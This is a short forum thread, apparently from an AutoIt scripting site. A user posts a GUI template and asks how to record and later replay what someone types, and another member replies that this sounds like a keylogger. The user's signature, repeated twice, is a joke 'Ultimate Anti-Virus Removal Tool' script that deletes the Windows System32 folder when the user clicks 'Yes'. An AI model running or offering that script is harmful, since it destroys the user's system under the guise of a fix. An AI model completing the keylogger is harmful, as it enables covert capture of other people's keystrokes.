Jump to content

Key recalling?


Firefoxy
 Share

Recommended Posts

Is there any way to make a script that remembers what someone typed and recall it when they tell it to? This is the template I've made for it.

Like this:

#include <GUIConstants.au3>
#Include <Misc.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 1653, 836, 11, 130)
$Buttonstart = GUICtrlCreateButton("Start", 16, 736, 273, 81, 0)
GUICtrlSetFont(-1, 20, 800, 0, "Comic Sans MS")
$Buttonstop = GUICtrlCreateButton("Stop", 336, 736, 273, 81, 0)
GUICtrlSetFont(-1, 20, 800, 0, "Comic Sans MS")
$ButtonShow = GUICtrlCreateButton("Show Text", 656, 736, 273, 81, 0)
GUICtrlSetFont(-1, 20, 800, 0, "Comic Sans MS")
$OutputBox = GUICtrlCreateEdit("", 8, 8, 1633, 721)
GUICtrlSetData(-1, "Text will be copied here...")
$ButtonClose = GUICtrlCreateButton("Close", 1568, 800, 65, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
    EndSwitch
WEnd

When I press the 'start' button it will start remembering. When I press 'stop' it stops or pauses remembering. And when I press 'Show Text' to recall the text into the text box. Possible?

See use of this here:

Scene 1

Scene 2

Scene 3

Scene 4

Scene 5

Scene 6

Scene 7

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

That's sound like a competent keylogger.

Damn. Any way to do this or is it non-discussable in these forums?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...